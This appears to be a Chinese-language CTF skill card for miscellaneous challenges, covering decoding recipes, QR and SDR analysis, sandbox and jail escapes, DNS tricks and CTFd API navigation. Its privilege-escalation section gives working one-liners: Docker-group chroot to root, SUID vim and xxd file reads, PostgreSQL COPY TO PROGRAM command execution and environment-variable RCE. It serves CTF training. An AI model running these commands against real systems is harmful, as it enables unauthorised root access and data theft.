调研探索
CTF 杂项/边缘挑战时用编码、越狱、RF/SDR、DNS…
遇到不属于 web/pwn/reverse/forensics/crypto 等主类的 CTF 杂项或跨类别边缘挑战时,按本经验快速定位编码、jail、信号、DNS、游戏/VM、提权与平台交互方法。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
CTF 杂项/边缘挑战时用编码、越狱、R通用
解决思路
- 遇到捆绑 JS 的杂项挑战时,先运行 npm ls vm2 检测脆弱 vm2;若使用 vm2,检查 CVE-2023-37466,通过 Promise[@@species] 配合 nesting:true 让异常处理器逃逸上下文;完整利用链见 ctf-web/js-sandbox。
- 用 file mystery_file、xxd mystery_file | head -5、python3 -c "import magic; print(magic.from_file('mystery_file'))" 做文件识别。
- 用 python3 -c "import base64; print(base64.b64decode('<data>'))"、echo '<data>' | base64 -d、echo '<hex>' | xxd -r -p 做编码检测/解码。
- 用 zbarimg qr.png 或 python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))" 解码 QR。
- 用 python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())" 快速做 Z3 约束求解。
- 用 python3 -c "__import__('os').system('id')" 测试 Python jail。
- 仔细阅读所有给定文件,检查元数据、隐藏内容和编码。
- Power Automate 脚本可能隐藏 API 调用,要检查其中调用。
- 在猜测多个答案时使用二分搜索。
- Base64 解码用 echo "encoded" | base64 -d。
- Base32 解码用 echo "OBUWG32D..." | base32 -d。
- Hex 解码用 echo "68656c6c6f" | xxd -r -p。
- ROT13 用 echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'。
- 按字符集识别编码:Base64 为 A-Za-z0-9+/=;Base32 为 A-Z2-7= 且无小写;Hex 为 0-9a-fA-F。
- 查看 encodings.md 了解 Caesar 暴力破解、URL 编码和完整细节。
- Floating 模式:给的数字是 float32,隐藏原始字节;将 32 位 float 重新解释为 4 字节后转 ASCII。
- 用 import struct; floats=[...]; flag=b''; for f in floats: flag += struct.pack('>f', f); print(flag.decode()) 提取 float 隐藏数据。
- 可尝试 double '>d'、little-endian '<f'、混合变体;CyberChef recipe 见 encodings.md。
- USB HID 鼠标流量捕获屏幕键盘输入时,用 USB-Mouse-Pcap-Visualizer,提取点击坐标(下降沿),对相对增量做 cumsum 得绝对位置,叠加到 OSK 图像上。
- 用 file unknown_file、xxd unknown_file | head、binwalk unknown_file 做文件类型检测。
- 用 7z x archive.7z 通用解压;tar -xzf archive.tar.gz;tar -xjf archive.tar.bz2;tar -xJf archive.tar.xz。
- 嵌套压缩用 while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do 7z x -y "$f" && rm "$f"; done。
- 用 zbarimg qrcode.png 解码 QR;qrencode -o out.png "data" 生成 QR。
- MaxiCode 六边形 2D 条码有 bullseye 中心,标准 QR 解码器失败,用 zxing (Java) 解码;见 encodings-advanced.md。
- TOPKEK 是 CTF 特定二进制编码:KEK=0,TOP=1,! 后缀=重复次数;见 encodings-advanced.md。
- QR 结构、修复技术、chunk 重组(结构式和索引目录变体)和多阶段 URL 编码链见 encodings.md。
- 用 sox audio.wav -n spectrogram 查看音频隐写/频谱数据。
- 用 qsstv 解码 SSTV。
- cf32 用 np.fromfile(path, dtype=np.complex64);cs16 用 int16 reshape(-1,2);cu8 为 RTL-SDR raw。
- 星座图中圆表示恒定频偏;螺旋表示频率漂移+增益不稳定。
- DD 载波恢复有 4 重模糊,尝试 0/90/180/270 旋转。
- 完整 IQ 格式、QAM-16 解调、载波/定时恢复见 rf-sdr.md。
- 用 from pwn import *; r=remote('host', port); r.recvuntil(b'prompt: '); r.sendline(b'answer'); r.interactive() 进行 pwntools 交互。
- Python jail Oracle 模式:L() 返回长度,Q(i,x) 比较,S(guess) 提交;线性或二分搜索。
- Python jail Walrus 绕过:用 (abcdef := "new_chars") 重新赋值约束变量。
- Python jail Decorator 绕过:用 @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ 实现无调用、无引号逃逸。
- Python jail 字符串拼接绕过:当 + 被禁用时用 open(''.join(['fl','ag.txt'])).read()。
- 完整 Python jail 技术见 pyjails.md。
- Z3:用 from z3 import *; flag=[BitVec(f'f{i}',8) for i in range(FLAG_LEN)]; s=Solver(); # 加约束,check sat,提取 model。
- YARA 规则、类型系统作为约束、布尔逻辑门网络 SAT 求解见 games-and-vms.md。
- Hash 识别初值:MD5 0x67452301;SHA-256 0x6a09e667;MurmurHash64A 0xC6A4A7935BD1E995。
- SHA-256 长度扩展:MAC = SHA-256(SECRET || msg),已知 msg/hash 时用 hlextend 伪造有效 MAC;漏洞适用于 SHA-256、MD5、SHA-1,不适用于 HMAC、SHA-3。
- 用 import hlextend; sha=hlextend.new('sha256'); new_data=sha.extend(b'extension', b'original_message', len_secret, known_hash_hex) 做长度扩展。
- Python jail/沙箱逃逸时参考 pyjails.md:quine 上下文检测、受限字符 repunit 分解、func_globals 模块链遍历、受限字符集数字生成、类属性持久化、通过 stored eval 的 f-string 配置注入。
- Bash jail/受限 shell 逃逸时参考 bashjails.md:HISTFILE 文件读取技巧、bash -v 详细模式、ctypes.sh 直接调用 C 库。
- 编码、QR、esolangs、UTF-16 技巧、BCD 编码、多层自动解码、索引目录 QR 重组、多阶段 URL 编码链参考 encodings.md。
- Verilog/HDL、Gray 码循环编码、RTF 自定义标签提取、SMS PDU 解码、多编码顺序求解器、UTF-9、像素二进制编码、十六进制数独+QR 组装、TOPKEK、MaxiCode 参考 encodings-advanced.md。
- RF/SDR/IQ 信号处理(QAM-16、载波恢复、定时同步)参考 rf-sdr.md。
- DNS 利用(ECS 欺骗、NSEC walking、IXFR、rebinding、tunneling)参考 dns.md。
- WASM 补丁、Roblox place 文件逆向、PyInstaller、marshal 分析、Python 环境 RCE、Z3(含布尔逻辑门网络 SAT)、K8s RBAC、浮点精度利用、自定义汇编沙箱经 Python MRO 链逃逸参考 games-and-vms.md。
- Cookie checkpoint 游戏暴力破解、Flask cookie 游戏状态泄漏、WebSocket 游戏操纵、仅服务器时间验证绕过、De Bruijn 序列、Brainfuck 插桩、WASM 线性内存操纵参考 games-and-vms-2.md。
- memfd_create 打包二进制、带 HMAC 承诺揭示和 GF(256) Nim 的多阶段加密游戏、模拟器 ROM 切换状态保持、Python marshal 代码注入、Benford 定律绕过、并行连接 oracle 中继、nonogram 求解流水线、100 prisoners 问题、C 代码 jail 经 emoji 标识符逃逸、BuildKit daemon build secret 利用、Docker 容器逃逸、Levenshtein 距离 oracle 攻击、类型强制绕过污点分析、碎纸文档像素边缘重组参考 games-and-vms-3.md。
- XSLT 作为图灵完备 VM、JavaScript MAX_SAFE_INTEGER 后继相等、仅比较 DSL 的二分搜索 oracle、经脚本引擎超时错误的盲 SQLi、OEIS 序列查找自动化、从 format-string 约束重组 QR、Fibonacci 递推矩乘、frog-jump 计数 Tribonacci、Selenium+Tesseract 动态 CAPTCHA、Brainfuck→Piet 多层 polyglot、bytebeat synth 代码识别参考 games-and-vms-4.md。
- Sudo 通配符参数注入(fnmatch)、为 sudoers.d 构造 pcap、monit confcheck 进程注入、Apache -d 覆盖、备份 cronjob SUID、PostgreSQL COPY TO PROGRAM RCE、PostgreSQL 备份凭据提取、NFS 共享利用、SSH Unix socket 隧道、PaperCut Print Deploy 提权、Squid 代理 pivoting、Zabbix 管理员密码经 MySQL 重置、WinSSHTerm 凭据解密参考 linux-privesc.md。
- CTFd 平台无浏览器 API 导航:检测、token 认证、挑战列表、文件下载、flag 提交、记分板、提示、通知、Python 客户端类参考 ctfd-navigation.md。
- PyInstaller:用 pyinstxtractor.py packed.exe;opcode 重映射见 games-and-vms.md。
- Marshal:用 marshal.load(f) 然后 dis.dis(code);见 games-and-vms.md。
- Python 环境 RCE:PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd";见 games-and-vms.md。
- WASM 补丁:wasm2wat -> 翻转 minimax -> wat2wasm;见 games-and-vms.md。
- 浮点精度:大乘数放大 FP 误差成可利用分数;见 games-and-vms.md。
- K8s RBAC 绕过:SA token -> impersonate -> hostPath mount -> 读取 secrets;见 games-and-vms.md。
- Cookie checkpoint:猜测前保存 session cookies,失败时恢复,从而无需重置进行暴力破解;见 games-and-vms-2.md。
- Flask cookie 游戏状态:用 flask-unsign -d -c '<cookie>' 解码未签名 Flask session,泄漏游戏答案;见 games-and-vms-2.md。
- WebSocket 传送:在 console 修改 player.x/player.y,调用验证函数;见 games-and-vms-2.md。
- 仅时间验证:开始 session,time.sleep(required_seconds),提交胜利;见 games-and-vms-2.md。
- Quine 上下文检测:双用途 quine 打印自身(通过验证),仅通过 globals 门在服务器进程运行 payload;见 pyjails.md。
- Repunit 分解:把目标整数分解为 repunits(1,11,111,...)之和,仅用 2 个字符(1 和 +)用于受限 eval;见 pyjails.md。
- De Bruijn 序列:B(k,n) 包含所有 k^n 个长度 n 字符串作为子串;追加前 n-1 个字符线性化;见 games-and-vms-2.md。
- Brainfuck 插桩:插桩 BF 解释器跟踪 tape cells,通过验证 cell 逐字符暴力破解 flag;见 games-and-vms-2.md。
- WASM 内存操纵:运行时补丁 WASM 线性内存直接设置游戏状态变量,绕过游戏逻辑;见 games-and-vms-2.md。
- Lua 沙箱逃逸:通过 os["execute"] 表索引或 loadstring 别名绕过 load()/os.execute() 过滤器;见 games-and-vms.md。
- C 代码 jail 经 emoji + gadget 嵌入:仅允许 emoji 和标点时,用 (😃==😃) 作为常量 1,构造整数,把 gadget 嵌入 add eax, imm32 常量,跳到 offset+1 获取 shellcode primitives;见 games-and-vms-3.md。
- 模拟器 ROM 切换:/load 替换 ROM 但保留 CPU 状态(寄存器、RAM、PC);在特定 PC 切换 ROM 以组合一个 ROM 的 INIT 与另一个 ROM 的显示指令,读取受保护内存;见 games-and-vms-3.md。
- BuildKit daemon 利用:暴露的 BuildKit gRPC 允许嵌套 buildctl build 配合 --mount=type=secret 读取 build secrets;两阶段 Dockerfile:安装 buildctl -> 提交嵌套 build 挂载 flag secret;见 games-and-vms-3.md。
- Docker 容器逃逸:经 host device mount 的特权 breakout、docker.sock socket 逃逸、CAP_SYS_ADMIN cgroup release_agent、通过 /proc 和 overlayfs 的容器信息泄漏;见 games-and-vms-3.md。
- 污点分析经类型强制绕过:在带 secrecy/taint 系统的自定义 ML-like 语言中,if-expression 的 secrecy 取决于返回类型而非条件;把有副作用的函数强制为 private type,通过 public mutable refs 泄漏私有数据;见 games-and-vms-3.md。
- 碎纸文档像素边缘重组:把每个 strip 的左/右边缘编码为二进制 bitmask(dark=1),用 XOR + popcount Hamming 距离贪心放置 strips,亚秒级重组;见 games-and-vms-3.md。
- f-string 配置注入经 stored eval:把 payload 存为 config value,创建名为 eval(stored_key) 的 key——f-string 渲染会评估 key 名表达式,触发 RCE;见 pyjails.md。
- 十六进制数独 + QR 组装:4 个 QR 编码 16x16 hex Sudoku 象限;解网格,读对角线为 hex pairs -> ASCII flag;见 encodings-advanced.md。
- Z3 布尔门网络 SAT 求解:产品密钥验证为 250 个布尔门(AND/OR/XOR/NOT)覆盖 125 输入位;将每个门建模为 Z3 约束,要求所有输出 True,毫秒级求解;见 games-and-vms.md。
- 3D 打印机视频喷嘴跟踪(flag-irl):识别文字层帧(如 26100-28350),跟踪打印头 X 位置(物理 X 轴),跟踪床 X 位置(相机角度看是物理 Y 轴),过滤有挤出的移动,绘制 2D scatter/histogram 显示字母。
- Discord API 枚举:flag 可能藏在 Discord metadata(roles、animated emoji、embeds);调用 /ctf-osint 获取枚举技巧和代码(见 social-media.md)。
- SUID 二进制利用:用 find / -perm -4000 2>/dev/null 查找;与 GTFObins 交叉参考;xxd 有 SUID 时 xxd flag.txt | xxd -r;vim 有 SUID 时 vim -c ':!cat /flag.txt';参考 https://gtfobins.github.io/。
- GECOS 字段密码:cat /etc/passwd 查看第 5 个冒号字段。
- ACL 权限:getfacl /path/to/restricted/file。
- sudo 权限:sudo -l。
- Docker 组权限快速检查:id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh。
- Docker 组提权:用 id 查看是否在 docker 组;docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh;然后 cat /root/flag.txt。Docker 组等价 root,/var/run/docker.sock 允许创建特权容器挂载宿主文件系统;参考 GTFObins docker。
- Sudo 通配符参数注入:sudo fnmatch() 让 * 跨参数边界匹配;向锁定命令注入额外 flags(-Z root、-r、第二个 -w);构造带有效 sudoers 条目的 pcap,sudo parser 会从二进制垃圾恢复,cron 严格 parser 不会;见 linux-privesc.md。
- Monit 进程命令行注入:root monit 脚本用 pgrep -lfa 提取进程命令行再执行修改版;用 perl -e '$0 = "..."' 创建带注入 flags 的假进程;Apache -d 最后生效覆盖 ServerRoot;-E 捕获错误输出;Include /root/flag 导致解析错误泄漏文件内容;见 linux-privesc.md。
- PostgreSQL RCE 和文件读取:COPY (SELECT '') TO PROGRAM 'cmd' 以 postgres 执行 OS 命令;pg_read_file('/path') 读文件;从 pg_basebackup 归档提取凭据(global/1260 = pg_authid);SSH 隧道到 Unix socket:ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432;见 linux-privesc.md。
- 备份 cronjob SUID 滥用:root cronjob 复制目录保留 SUID 位但 owner 变 root;在源目录放 SUID bash -> 备份复制为 root-owned SUID;用 bash -p 执行;见 linux-privesc.md。
- PaperCut Print Deploy 提权:root 进程从用户拥有的目录运行脚本;修改 server-command,通过 Mobility Print API refresh 触发;见 linux-privesc.md。
- CTFd 无浏览器导航:用 curl -s "$CTF_URL/api/v1/" | head -5 检测 CTFd;向用户询问 API token(CTFd Settings > Access Tokens);export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here";所有请求用 Authorization: Token $CTF_TOKEN;用 curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"' 列出挑战;用 curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}" 提交;完整工作流、Python 客户端、session 登录、提示、通知、文件下载、排错见 ctfd-navigation.md。
- 用 grep -rn "flag{" .、strings file | grep -i flag、python3 -c "print(int('deadbeef', 16))"。
- 键盘移位密码(Frenzy):字符在 QWERTY 布局上左/右移;dCode Cipher Identifier 建议 Keyboard Shift Cipher;用 dCode Keyboard Shift Cipher 自动模式解码。
- Pigpen/Masonic 密码(Working For Peanuts):几何符号按网格位置代表字母;识别特征为 angular/geometric symbols、挑战引用 Peanuts/Charlie Brown/dusty looking crypto;映射符号到 Pigpen 网格位置或在线解码器。
- Cooked Books 模式:CSV/spreadsheet 数值列(48-126)是 ASCII 码;用 csv.DictReader 读 row['Times Borrowed'],''.join(chr(int(...)));CyberChef 用 From Decimal recipe 和 line feed delimiter。
- Rear Hatch 模式:隐藏命令前缀触发 system();常见 strncmp(input, "exec:", 5) -> system(input + 5);十六进制编码比较字符串 \x65\x78\x65\x63\x3a = "exec:";维护/管理函数中隐藏条件。
- ECS 欺骗:dig @server flag.example.com TXT +subnet=10.13.37.1/24,尝试 leet 风格 IP(1337)。
- NSEC walking:跟随 NSEC chain 枚举 DNSSEC 区域。
- IXFR:AXFR 被阻止时用 dig @server domain IXFR=0。
- DNS rebinding:低 TTL 交替解析绕过 same-origin。
- DNS tunneling:通过子域查询或 TXT 响应渗出数据。
- Variation Selectors Supplement(U+E0100-U+E01EF):不可见 Variation Selector Supplement 字符通过 codepoint offset 编码 ASCII;从可见字符后的 variation selectors 提取:data=open('README.md','r').read().strip(); hidden=data[1:]; flag=''.join(chr((ord(c)-0xE0100)+16) for c in hidden);检测:字符不可见但长度非零,用 [hex(ord(c)) for c in text] 查 0xE0100-0xE01EF 或 0xFE00-0xFE0F。
- Unicode Tags Block(U+E0000-U+E007F):不可见 Unicode Tag 字符嵌入 URL/文件名/文本;每个 tag codepoint 减 0xE0000 映射 ASCII;URL 编码为 4 字节 UTF-8(%F3%A0%81%...);用 urllib.parse.unquote(urllib.parse.urlparse(url).fragment) 后对 0xE0000-0xE007F 范围字符 chr(ord(ch)-0xE0000);检测:字节长度异常,%F3%A0%80 或 %F3%A0%81 开头,any(0xE0000 <= ord(c) <= 0xE007F for c in text)。
- UTF-16 端序反转(endians):文本“变成日文”是 UTF-16 端序不匹配 mojibake;用 mojibake.encode('utf-16-be').decode('utf-16-le') 修复;识别:CJK 字符,挑战提及 translation/endian;见 encodings.md。
- 密码识别流程:1 ROT13(提及 ROT、乱码英文);2 Base64(A-Za-z0-9+/=、标题含 64);3 Base32(A-Z2-7= 仅大写);4 Atbash(标题提示 Abash/Atbash,保留空格,1:1 替换);5 Pigpen(网格几何符号);6 Keyboard Shift(像按了相邻键);7 Substitution(可频率分析)。
- 自动识别用 dCode Cipher Identifier(https://www.dcode.fr/cipher-identifier)。
- HISTFILE 受限 shell 读文件(BCTF 2016):HISTFILE=/flag /bin/bash && history;bash -v flag.txt(verbose 模式打印行);ctypes.sh dlcall 直接调用 C 库;见 bashjails.md。
- Levenshtein 距离 oracle 攻击(SunshineCTF 2016):oracle 返回 guess 与 secret 的编辑距离;用空字符串确定长度;用单字符重复识别存在的字符;二分搜索位置;O(n log n) 查询;见 games-and-vms-3.md。
- SECCOMP 高位文件描述符绕过(33C3 CTF 2016):close(0x8000000000000002) 通过 64 位 SECCOMP 检查(≠2),但内核截断为 32 位(==2),关闭 fd 2;下一次 open() 返回 fd 2 用于任意文件;BPF filter 与内核类型宽度不匹配;见 games-and-vms-3.md。
- rvim jail 经 Python3 逃逸(BKP 2017):rvim 阻止 :!,但 :python3 import os; os.system("cmd") 执行任意命令;用 :version 检查 +python3/+lua/+ruby;见 games-and-vms-3.md。
适用边界 · 注意事项
- 挑战主要属于 web、pwn、reverse、forensics、malware、OSINT、crypto 或 ML/AI 时,先用更具体技能,不要默认从本杂项技能开始。
- 输入主要是文件、镜像、音频或流量包且需要先做恢复时,优先 ctf-forensics。
- NodeJS 沙箱使用 vm2 时,直接检查 CVE-2023-37466 并参考 ctf-web/js-sandbox,而不是只按杂项越狱处理。